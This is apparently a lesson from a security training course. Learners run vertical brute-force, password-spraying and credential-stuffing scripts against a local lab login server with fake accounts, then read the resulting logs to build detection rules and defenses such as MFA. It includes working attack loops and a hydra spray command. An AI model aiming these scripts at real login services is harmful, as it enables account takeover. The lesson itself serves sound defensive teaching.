Step 165. Password Spraying and Credential Stuffing — Attacks That Walk Sideways Past the Lock
Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★☆☆ | Estimated time: 3 hours
Prerequisites: Step 122 (online brute force with hydra) complete. You know what account lockout is, and that attacks leave logs.
- What you need: Python 3 (standard library only), a text editor
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
- Caution: we neither obtain nor use real leaked password DBs. Every "leaked list" in today’s stuffing practice is made-up fake data.
In Step 122 you did a vertical attack — pouring a wordlist into one account — and watched the attack halt at a single "lock after 5 failures" rule. But attackers learn too: if lockout is a device that counts "consecutive failures of one account," what if you switch accounts between attempts? This shift of thinking is password spraying. One password, once each, against 100,000 accounts — since lockout counters run separately per account, nobody reaches 5.
Credential stuffing goes one step further. It takes "email:password" pairs leaked from some site and tries them as-is on other sites. Because it reuses answers that actually worked before rather than guessing, its success rate is far higher than spraying. Today you run all three attacks (vertical, horizontal, reuse) yourself and compare with your eyes the three different footprints they leave in the server log.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Classify online password attacks into vertical (brute force) / horizontal (spraying) / reuse (stuffing)
- Explain, at the level of counters, the logic by which spraying avoids account lockout
- Read the pattern differences the three attacks leave in logs and turn them into detection rules
- Match defenses (MFA, lockout, anomaly detection, reuse blocking) to the attacks they stop
- State why stuffing is "reuse, not guessing" — and therefore why it’s dangerous
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 (http.server, urllib — nothing to install) |
| Today’s commands | no new commands — Step 122’s server/client structure extended to multiple accounts |
| Concepts needed | the vertical/horizontal/reuse three-way classification, account lockout counters, log patterns, MFA |
| Today’s artifact | a multi-account login server + three attack scripts + a log-pattern comparison table |
2-1. The Three Attacks’ Coordinate Axes — Who Changes What
The three attacks are distinguished by "what’s fixed and what changes."
| Attack | Fixed | What changes | Success per attempt | Lockout risk |
|---|---|---|---|---|
| Vertical (brute force) | 1 account | N passwords | Low | High — failures pile up on one account |
| Horizontal (spraying) | 1 password | N accounts | Low | Low — only once per account |
| Reuse (stuffing) | Leaked (account, password) pairs | Iterates the pairs themselves | High | Low — 1~2 tries per account |
Spraying’s candidate passwords are surprisingly predictable — season+year+special character like Spring2026!. Because it’s the shape employees actually pick while exactly passing a company rule of "uppercase + number + special character, 8+ chars." The paradox: a password built to meet only the policy’s minimum requirements is the most predictable of all.
2-2. Lockout Counters Run Separately per Account
You must understand precisely why spraying works. "Lock after 5 failures" is usually a per-account counter. If alice fails 5 times, only alice gets locked. Spraying goes alice once, bob once, carol once… — no counter ever reaches 2. The lockout policy is intact, yet the attack passes through.
So defense must go beyond "per account" to aggregation. A rule like "10 failures across different accounts from the same source address within one minute" is the basic form of spray detection.
2-3. Stuffing — Reuse, Not Guessing
Stuffing’s pairs are answers that actually worked somewhere. As long as people reuse passwords across sites, site A’s leak becomes the key to site B. It’s an industrialized attack — massive leak lists are traded on the dark web, and services exist (haveibeenpwned.com) to check whether you’ve been leaked.
The core from the defender’s view: stuffing works even if our site was never breached. If our user reuses a password leaked elsewhere on our site too, that account opens no matter how strong our security is. That’s why defense must go beyond the password itself to MFA (multi-factor authentication).
2-4. Logs Record the Three Attacks Differently
A preview of today’s measurement core. Even for the same "login failure," the three attacks look different in the logs.
- Vertical: same account in a row + only the password changes → lockout at the end
- Horizontal: same password tried once each across different accounts
- Stuffing: both account and password differ every time + one try per account
The defender’s detection rules come out of this difference. We confirm with real logs in 3-5.
3. Follow Along
3-1. A Multi-Account Login Server — With Lockout Policy
Extend Step 122’s server to 8 accounts plus lockout counters (this textbook measured it on 2026-09-09).
Input (spray_server165.py)
import json
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
ACCOUNTS = {
"alice": "x9#kT2mQ",
"bob": "Spring2026!", # the weak password that will be the spray target
"carol": "p@55w0rd!",
"dave": "iloveyou", # the password that will be in the "leaked list"
"erin": "T7$fLm92",
"frank": "Spring2026!!",
"grace": "coffee2025",
"henry": "R3#xQz88",
}
LOCK_AFTER = 5 # lock after 5 consecutive failures on the same account
LOG_PATH = "auth165.log"
fail_count = {u: 0 for u in ACCOUNTS}
locked = set()
class LoginHandler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
data = json.loads(self.rfile.read(length).decode())
user = data.get("username", "")
pw = data.get("password", "")
ts = time.strftime("%H:%M:%S")
if user in locked:
verdict, code = "locked account", 423
elif user not in ACCOUNTS:
verdict, code = "no such account", 401
elif ACCOUNTS[user] == pw:
verdict, code = "success", 200
fail_count[user] = 0
else:
fail_count[user] += 1
verdict, code = "fail", 401
if fail_count[user] >= LOCK_AFTER:
locked.add(user)
verdict = "fail -> lockout triggered"
with open(LOG_PATH, "a", encoding="utf-8") as fp:
fp.write(f"{ts} {user} tried_pw={pw} -> {verdict}\n")
self.send_response(code)
self.end_headers()
self.wfile.write(verdict.encode())
def log_message(self, *args):
pass
if __name__ == "__main__":
print(f"Login server started: http://127.0.0.1:9091 ({len(ACCOUNTS)} accounts, locks after {LOCK_AFTER} failures)")
HTTPServer(("127.0.0.1", 9091), LoginHandler).serve_forever()
How to read it: three devices are today’s lab equipment. ① fail_count is a per-account counter — the very thing spraying slips past. ② After 5 failures the account is added to locked and returns HTTP 423 (Locked). ③ Every attempt is logged with account, password, and verdict.
3-2. Attack 1 — Vertical Brute Force: Caught by the Lock
Try 8 passwords in order against one account (alice).
Input (vertical_attack165.py — core part)
HOST = "http://127.0.0.1:9091"
WORDS = ["123456", "password", "qwerty", "letmein", "dragon", "football", "abc123", "monkey"]
for i, pw in enumerate(WORDS, 1):
r = try_login("alice", pw) # try_login is the same urllib POST function as Step 122
print(f"try {i}: alice / {pw} -> {r}")
if r == "locked account":
print(f"[!] Account locked from try {i} — attack halted")
break
Run (with the server up)
python spray_server165.py # terminal 1
python vertical_attack165.py # terminal 2
Output (measured 2026-09-09):
try 1: alice / 123456 -> fail
try 2: alice / password -> fail
try 3: alice / qwerty -> fail
try 4: alice / letmein -> fail
try 5: alice / dragon -> fail
try 6: alice / football -> locked account
[!] Account locked from try 6 — attack halted
How to read it: the lockout triggered at try 5, and from try 6 the attempt isn’t even judged, right or wrong. Six of the 8 wordlist entries tried, attack over — why the vertical attack is a "last resort" is in these 6 lines.
3-3. Attack 2 — Password Spraying: Slipping Past the Lock
This time, try the single password Spring2026! once against each of the 8 accounts. Restart the server to reset the lockout state before running.
Input (spray_attack165.py — core part)
SPRAY_PASSWORD = "Spring2026!"
USERS = ["alice", "bob", "carol", "dave", "erin", "frank", "grace", "henry"]
for user in USERS:
r = try_login(user, SPRAY_PASSWORD)
print(f"{user} / {SPRAY_PASSWORD} -> {r}")
Output (measured 2026-09-09):
alice / Spring2026! -> fail
bob / Spring2026! -> success
carol / Spring2026! -> fail
dave / Spring2026! -> fail
erin / Spring2026! -> fail
frank / Spring2026! -> fail
grace / Spring2026! -> fail
henry / Spring2026! -> fail
How to read it: bob opened, and no account got locked. Every per-account counter stopped at 1. Same server, same lockout policy — only the direction turned horizontal. A success rate of 1 in 8 (12.5%) — think about what this ratio means in a real organization with thousands of accounts.
3-4. Attack 3 — Credential Stuffing: Reusing Answers That Worked
A list assumed to be "leaked from another site." It’s all made-up fake data; obtaining real leak DBs is illegal.
Input (stuffing_attack165.py — core part)
LEAKED = [
("alice", "alice1234"), # another site's password — wrong on this site
("carol", "carol!!"),
("dave", "iloveyou"), # a reused password — passes here too
("grace", "grace2024"),
("henry", "henry!"),
]
for user, pw in LEAKED:
r = try_login(user, pw)
print(f"{user} / {pw} -> {r}")
Output (measured 2026-09-09):
alice / alice1234 -> fail
carol / carol!! -> fail
dave / iloveyou -> success
grace / grace2024 -> fail
henry / henry! -> fail
How to read it: dave opened. dave did nothing wrong on this site — he fell by one thing alone: he reused here a password he used on another site. And the log holds only one attempt per account. Lockout counters, of course, but even "same password repeated" detection is useless — every pair is different.
3-5. The Defender’s Screen — Reading the Three Attacks’ Logs Side by Side
Input
cat auth165.log
Output (measured 2026-09-09, the three runs joined together):
16:57:44 alice tried_pw=123456 -> fail
16:57:44 alice tried_pw=password -> fail
16:57:44 alice tried_pw=qwerty -> fail
16:57:44 alice tried_pw=letmein -> fail
16:57:44 alice tried_pw=dragon -> fail -> lockout triggered
16:57:44 alice tried_pw=football -> locked account
16:57:47 alice tried_pw=Spring2026! -> fail
16:57:47 bob tried_pw=Spring2026! -> success
16:57:47 carol tried_pw=Spring2026! -> fail
16:57:47 dave tried_pw=Spring2026! -> fail
16:57:47 erin tried_pw=Spring2026! -> fail
16:57:47 frank tried_pw=Spring2026! -> fail
16:57:47 grace tried_pw=Spring2026! -> fail
16:57:47 henry tried_pw=Spring2026! -> fail
16:57:49 alice tried_pw=alice1234 -> fail
16:57:49 carol tried_pw=carol!! -> fail
16:57:49 dave tried_pw=iloveyou -> success
16:57:49 grace tried_pw=grace2024 -> fail
16:57:49 henry tried_pw=henry! -> fail
How to read it: the second-level timestamps show the boundaries — the :44 block is vertical (same alice, lockout triggered), the :47 block is spraying (same Spring2026!, only accounts change), the :49 block is stuffing (every pair different). Writing detection rules as sentences:
- Vertical detection: "consecutive failures on the same account" → what the lockout policy already does
- Spray detection: "consecutive failures on different accounts from the same source in a short time"
- Stuffing detection: "a success, but from an unusual location, device, or time" → suspect even when the password is right
That last one is the essence of stuffing defense — re-judging logins that passed password verification by context (anomalous-login detection), and not betting everything on a single password (MFA).
3-6. The Defense × Attack Matching Table
A table summarizing today’s experiments. Fill in which defense stops which attack (material for Exercise 4).
| Defense | Vertical | Spray | Stuffing |
|---|---|---|---|
| Account lockout (5 tries) | 〇 | × (once per account) | × |
| Source-based blocking (fail2ban family) | 〇 | 〇 | △ (limited if distributed) |
| MFA | 〇 | 〇 | 〇 (password alone is insufficient) |
| Anomalous-login detection (location, time, device) | △ | △ | 〇 |
| Checking against leaked-password lists (at signup/change) | — | — | 〇 prevention |
4. Missions & Exercises
Mission — Running the Three Attacks and Designing Detection Rules
- Complete 3-1’s server, run the three attack scripts in order, and record the full outputs (restart the server between runs)
- Find the three blocks in
auth165.logand annotate each with one line saying "what attack this is" - Write a rule detecting spray attacks as a log condition (e.g., "N failures on different accounts from the same source within 60 seconds")
- Actually block spraying by adding an aggregate counter to the server — implement something like "block that source after 10 total failures across all accounts," and confirm the 3-3 script gets stopped
- Check whether your email has been leaked at haveibeenpwned.com (defensive self-check — concept confirmation only; do not record the result)
Exercises
Exercise 1. Explain the principle by which spraying avoids account lockout, using the word "counter."
Exercise 2. Explain why stuffing has a higher success rate than brute force or spraying from the perspective of "guessing vs reuse."
Exercise 3. Give two clues distinguishing the spray block (the :47s) from the stuffing block (the :49s) in the 3-5 log.
Exercise 4. In 3-6’s table, only MFA gets 〇 against all three attacks. Explain why MFA stops even stuffing.
5. Model Answers & Completion Criteria
Mission Model Answer
Example of an aggregate counter — add a device like this to the server.
attempts_by_ip = {} # total failures per source
blocked_ips = set()
# inside do_POST, before the verdict:
if self.client_address[0] in blocked_ips:
# 403 block
# after a failure verdict:
attempts_by_ip[ip] = attempts_by_ip.get(ip, 0) + 1
if attempts_by_ip[ip] >= 10:
blocked_ips.add(ip)
How to verify: ① Were all three attacks’ outputs recorded? ② Are the log-block annotations grounded in "account/password fixed vs changing"? ③ After adding the aggregate counter, does the spray get blocked midway (e.g., a 403 partway through the 8 accounts)? ④ Can you state the difference between lockout and aggregate blocking — lockout is per-account, aggregate blocking is per-source?
Exercise Answers
Answer 1. Lockout triggers when a per-account failure counter reaches a threshold (e.g., 5). Spraying tries one password only once per account, so every counter stops at 1 and no counter reaches the threshold. However many total attempts the attack makes, viewed "per account" they’re all within the normal range.
Answer 2. Brute force and spraying guess candidates that "might be right," but stuffing enters answer pairs that actually worked elsewhere. As long as people reuse passwords, those answers have a high probability of being right on other sites too — it’s not a probability fight of guessing; it exploits human habit as-is.
Answer 3. ① In spraying the tried passwords are all the same Spring2026! with only accounts changing; in stuffing both account and password differ every time. ② Spraying is a consecutive enumeration of accounts with a mechanically uniform pattern; stuffing follows the leaked list’s order, so the account sequence is non-consecutive.
Answer 4. MFA demands a second proof (app code, hardware key, etc.) even after the password passes. Stuffing is an attack that arrives holding "the right password," but the second factor isn’t in any leak list. It neutralizes the very premise of password reuse, so it’s effective against all three attacks.
Completion Criteria Checklist
- [ ] I built the multi-account login server (with lockout policy) myself
- [ ] I reproduced the vertical attack halting at lockout
- [ ] I reproduced spraying opening bob with no lockout
- [ ] I reproduced stuffing opening dave via "reuse"
- [ ] I can explain the three attacks’ log pattern differences in words
- [ ] I wrote a spray detection rule as a log condition
- [ ] I actually blocked spraying with an aggregate counter
- [ ] I can explain the defense × attack matching table with no blanks
6. Common Pitfalls & Fixes
Wall 1. The attack script dies on the first attempt
Symptom: urllib.error.URLError: <urlopen error [WinError 10061] No connection could be made because the target machine actively refused it> (the message appears in your OS language).
Cause: the server isn’t up, or the port (9091) differs.
Fix: launch python spray_server165.py first. Same cause, same prescription as Step 122 — server first, attack after.
Wall 2. Accounts get locked during a spray
Symptom: locked account appears mid-spray.
Cause: you didn’t restart the server after the vertical experiment just before. The lockout state remains in server memory.
Fix: restart the server between attacks. Resetting state between experiments is basic etiquette for all repeated experiments.
Wall 3. "The password is right but I get 401"
Symptom: it’s clearly Spring2026! but it fails.
Cause: if it’s not a typo, you may be looking at frank instead of bob — frank is Spring2026!! (two exclamation marks).
Fix: these "nearly identical password" traps exist in real services too. Suspect the account data, not the attack script.
Wall 4. I can’t tell stuffing logs from spray logs
Symptom: both are "one failure per account," so they look like the same attack.
Cause: you looked only at the account column, not the password column.
Fix: in spraying the password column is all the same; in stuffing it’s all different. Log analysis is always "what’s fixed and what changes" — apply 2-1’s coordinate axes directly to the log.
Wall 5. I feel like getting a real leak list to experiment with
Symptom: the thought "wouldn’t real data be more realistic?"
Cause: the moment curiosity crosses the boundary.
Fix: possessing or using leaked personal data is illegal even for experimental purposes. What today’s fake list confirmed is the attack’s structure and log patterns, which reproduce 100% with fake data. Today is a day for learning principles, not realism.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Vertical attack (brute force) | Account fixed, passwords iterated — gets caught by lockout easily |
| Horizontal attack (spraying) | Password fixed, accounts iterated — slips past per-account counters |
| Credential stuffing | Reuse of leaked (account, password) pairs — entering answers, not guesses |
| Per-account counter | The unit of lockout policy — the gap spraying slips through |
| Aggregate detection | Defense that bundles by source, time window, and account diversity |
| Anomalous-login detection | Suspect when context (location, device, time) is odd even if the password is right |
| MFA | A second door that neutralizes the very premise of password reuse |
Today’s Commands
| Command/tool | What it does |
|---|---|
| (no new commands) | today, four Python scripts are the tools |
hydra -u -L users.txt -p one_password ssh://IP |
(reference) hydra’s spray syntax — -u loops usernames |
cat auth165.log |
Compare the three attacks’ footprints |
| haveibeenpwned.com | Self-check whether my email has been leaked (defensive) |
An Instinct More Important Than Commands
Today’s core picture is the counter. The moment you know defense "counts per account," the attack turns sideways, and defense evolves again toward "counting in aggregate." Attack and defense are a chess match where each reads the other’s design and responds — the side that reads the opponent’s rules precisely moves one step ahead.
And the uncomfortable truth stuffing teaches: my site’s security isn’t decided by my site alone. One password a user reused somewhere bypasses every lockout policy. That’s why modern defense’s conclusion is not longer passwords but one more thing besides the password — MFA. This sentence weighs more because it’s a conclusion reached from the attacker’s seat.
Once every box is checked, Step 165 is complete. Click the checkbox in the sidebar to save your progress.